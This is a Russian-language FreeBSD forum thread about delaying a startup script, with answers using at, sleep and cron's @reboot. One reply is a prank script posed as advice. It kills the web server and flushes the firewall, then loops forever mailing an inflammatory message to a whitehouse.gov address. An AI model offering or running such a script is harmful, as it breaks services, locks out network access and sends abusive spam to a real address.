Страница 1 из 1
Отложенный запуск скрипта при страте системы
Добавлено: 2008-07-31 14:55:02
Fastman
Нужно чтобы скрипт лежащий в /usr/local/etc/rc.d и прописанный в rc.conf
стартовал через минуту после поднятия всей системы.
Подскажите плз.
Re: Отложенный запуск скрипта при страте системы
Добавлено: 2008-07-31 18:22:57
salvator
Код: Выделить всё
man at
man date
man rc
echo 'echo "xmms -p" | at `date -v +2M +%H%M`' >> /etc/rc.local
где-то так
Re: Отложенный запуск скрипта при страте системы
Добавлено: 2008-07-31 18:25:18
zingel
Re: Отложенный запуск скрипта при страте системы
Добавлено: 2008-07-31 18:37:28
salvator
тогда уж
Код: Выделить всё
# cat /etc/rc.local
daemon /usr/loca/script.sh
# cat /usr/loca/script.sh
#!/bin/sh
sleep 120
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin
killall -9 httpd
ipfw -f flush
ipfw add allow all from me to any 25 new
ipfw add allow all from any to me established
ipfw add deny all from any to any
while true; do
echo "All@кh Akb@r" | mail jeorge@whitehouse.gov
done
Re: Отложенный запуск скрипта при страте системы
Добавлено: 2008-07-31 19:24:04
Alex Keda
насколько я понимаю принцип работы стартовых скриптов - это тормознёт их все....
рекомендую не прописывать его в rc.conf
а старт сделать вызовом из отдельного загрузочного скрипта типа
Re: Отложенный запуск скрипта при страте системы
Добавлено: 2008-08-01 17:46:39
terminus
cron умеет стартовать при загрузке. Запускать им, а в скрипте выставить sleep
man crontab(5)
Код: Выделить всё
Instead of the first five fields, one of eight special strings may
appear:
string meaning
------ -------
@reboot Run once, at startup.
@yearly Run once a year, "0 0 1 1 *".
@annually (same as @yearly)
@monthly Run once a month, "0 0 1 * *".
@weekly Run once a week, "0 0 * * 0".
@daily Run once a day, "0 0 * * *".
@midnight (same as @daily)
@hourly Run once an hour, "0 * * * *".
Re: Отложенный запуск скрипта при страте системы
Добавлено: 2008-08-01 18:06:39
Fastman
спасибо народ - разобрался.
Просто демон листит порт при запуске.. получалось что он начинал листить раньше чем интерфейсы поднимались.. соответственно после ребута сам не подымался...